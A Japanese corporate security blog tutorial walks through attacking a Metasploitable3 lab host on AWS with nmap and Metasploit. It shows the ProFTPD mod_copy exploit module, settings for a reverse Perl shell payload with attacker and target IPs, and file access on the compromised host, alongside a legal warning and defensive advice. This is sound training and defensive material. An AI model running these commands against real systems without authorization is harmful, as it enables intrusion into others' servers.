Metasploitを使ったサーバ攻撃について
はじめに
情報セキュリティ部にて脆弱性診断を内製化していく事を目標として、現在ツールや手法等を調査しています。
今回は、システムの脆弱性診断にも使用するMetasploit Framework(Metasploit)というツールについて、記載します。
本記事では、Metasploitの使い方を学ぶため、このツールでターゲットホストに攻撃を行い、リモート接続を行ってみます。
本記事に掲載した行為を自身の管理下にないネットワーク/コンピューターに行った場合は、攻撃行為と判断される場合があり、最悪の場合、法的措置を取られる可能性もあります。このような調査を行う場合は、くれぐれも許可を取った上で、自身の管理下にあるネットワークやサーバーに対してのみ行ってください。
Metasploitについて
Metasploitは、脆弱性診断やペネトレーションテストに使用するコードやツール類を集めたオープンソースのフレームワークです。
Widows、MacOS、Linux等にインストールすることもできますが、Kali Linuxにはデフォルトでインストールされています。
なお、アンチウィルスソフトが動作している環境にMetasploitをインストールする場合、グレーウェアと認識され、強制削除されてしまうケースがあり注意が必要です。
Metasploitに含まれているツール類について記載します。
2021年7月現在、AWS上で使用できるKali LinuxにインストールされているMetasploitはバージョン6.0.45であり、以下のようなモジュールが含まれています。
環境について
今回はAWS上にEC2インスタンスを立てています。
エクスプロイトを行うサーバとしてKali Linuxを、またターゲットホストにMetasploitable3を使用しています。
各々別のサブネットに構築し、特にターゲットホストとなるMetasploitable3は、不用意に外部に公開しないよう、プライベートサブネットに構築、アクセスできるサーバを制限しています。今回、Kali Linux(IP:10.10.10.88)からMetasploitable3(IP:10.10.2.216)に対して攻撃を行います。
今回、環境構築にあたり参考にしたサイトはこちらになります。
ターゲットホストへの攻撃の流れ
ターゲットホストへの攻撃は以下のような順序で行います。
これらの作業のうち、ターゲットホストの情報収集はnmapで行い、以降の作業をMetasploitで行います。
ターゲットホストの情報収集〜ポートスキャン〜
攻撃を行う前に、ターゲットとなるホストの情報を収集します。
ここで取得した情報を元に攻撃手法を確定するため、非常に重要な工程となります。
ここでは、ポートスキャンを行い、ターゲットホストに接続するためのポート番号や、その上で動作しているソフトウェア、バージョンといった情報を探っていきます。
nmapは、元々はネットワーク調査、セキュリティ診断を行うためのオープンソースツールです。
※今回はターゲットホストのIPは既に入手済みという前提で、そのIPアドレスに対してポートスキャンを行います。実際にIPアドレスが不明な状態であってもnmapを使用して、特定セグメント内で稼働している機器のアドレスを検索すること可能です。
ポートスキャンはターミナルで以下のコマンドを入力して実行します。
nmap -sV -Pn -T4 -p 1–65535 -oX metasploitable3.xml 10.10.2.216
このコマンドではターゲットホスト(10.10.2.216)に対してポートスキャンを行います。付加しているオプションを以下で説明します。
nmapではこの他にも大量のオプションが用意されており、状況に応じて処理を変更することが可能です。
Metasploitでは、ポートスキャンの結果をローカルDBにインポートすることができます。
上記コマンドでは、スキャン結果を「metasploitable3.xml」というファイルに出力しており、このファイルをMetasploitのDBにインポートしておくことで、servicesコマンドを使い、結果を適宜照会すること可能になります。
次の画面では、servicesコマンドでnmapの実行結果を表示しています。
21番ポートから8080番ポートまで6つのポートがopenのステータスとなっている事、各々のポートでどのようなソフトウェアが動作しているかを確認できます。
参考:ポートスキャンからの防御
防御する側の観点からするとポートスキャンに対して、応答しない事が重要となります。
基本的な対策は
* 不要なポートはオープンしない(不要なアプリケーションやサービスは起動しない)
* ポートをオープンする必要がある場合、通信元を制限する
* 通信元を制限できない場合、FirewallやWAFを利用して、通信内容を制限する
といった対策が考えられます。
この中で、1点目のポートに関して、AWS環境の場合、セキュリティグループ、ネットワークACLのいずれかで制限をかける事ができます。
この対策を行うだけで、nmapでポートが検出されることがなくなります。
また、AWSのGuardDuty等のサービスを利用することで、ポートスキャンが行われた事をメールやSlack等に通知することが可能です。
ターゲットとする脆弱性の選定とモジュールの検索
Metasploitを使用する上で重要な点は、「適切なモジュールを検索できる」ことです。適切なモジュールを検索・選定できるかが、エクスプロイトの成否に大きく影響します。
ポートスキャンの結果だけでモジュールを選定できない場合は、CVE、JVNといったサイトを使用して、ターゲットホストで利用されているソフトウェアの脆弱性を調査する必要があります。
今回はポートスキャンの結果で一番最初に表示されている、ProFTPD 1.3.5をターゲットにエクスプロイトを行います。
モジュールの検索にはコマンド 「search ProFTPD」を実行すると、ProFTPに対して使用できるモジュールがリストされます。
使用するモジュール(今回は「exploit/unix/ftp/proftpd_modcopy_exec」を使用)を確定したらコマンド「use exploit/unix/ftp/proftpd_modcopy_exec」でモジュールを使用できる状態にします。(プロンプトに指定したモジュール名が表示されます)
補足:Rankについて
Search結果に表示されるRankは、そのモジュールの有効性を示しています。
一般的にはexcellent・greatランクのモジュールが使いやすいと思われます。
出典:https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking
モジュールへのオプション、ペイロードの設定
使用するモジュールが確定したら、モジュール実行の際に必要なパラメータ類(オプション、ペイロード)を設定します。
値をセット(削除)するためのコマンドは「set パラメータ名 設定値」(「unset パラメータ名 設定値」)を、設定内容を表示するコマンドは「show options」を使用します。
パラメータの設定は以下のコマンドにて行います。
set rhost 10.10.2.216set sitepath /var/www/htmlset payload cmd/unix/reverse_perlset lhost 10.10.10.88set lport 2345
エクスプロイトの実行
エクスプロイトの実行は「run」、または「exploite」コマンドを実行することで行います。
今回実行したエクスプロイト処理の流れを示します。
結果の確認
プロンプトは表示されませんが、エクスプロイトの実行結果からセッションが開いている事がわかります。
ここで「ifconfig」のコマンドを実行してみると、表示されるeth0のアドレスがターゲットホストのアドレス(10.10.2.216)となっており、ターゲットホスト上に居る事が確認できます。
以下ではエクスプロイト時にターゲットホストにコピーしたファイル(rLLHI.php)が、パラメータで指定したsitepath(/var/www/html)に存在している事を確認しています。
またsitepathにdrupalフォルダが存在している事からCMSのDrupalがインストールされていると推測されます。
以下ではhostsファイルをエディタで開いています。
上記のようにMetasploitを利用してターゲットホストに接続、ファイル操作やファイルの中身を参照できる事が確認できました。
参考:実行コマンドの確認
エクスプロイト実行時にコピーしたファイルの中身を確認してみます。
まとめ
Metasploitは簡単なコマンドですぐにエクスプロイトツールを実行できるという「使いやすさ」と、多くのモジュール類があり、これらをターゲットホストの脆弱性に合わせて使いこなすための知識がいるという「ハードルの高さ」を併せ持つツールです。
情報セキュリティ部にて進める脆弱性診断内製化には必要不可欠なツールである一方、環境構築、使い方については常に細心の注意を払うと同時に、脆弱性診断に関する知識を身につけておく必要があります。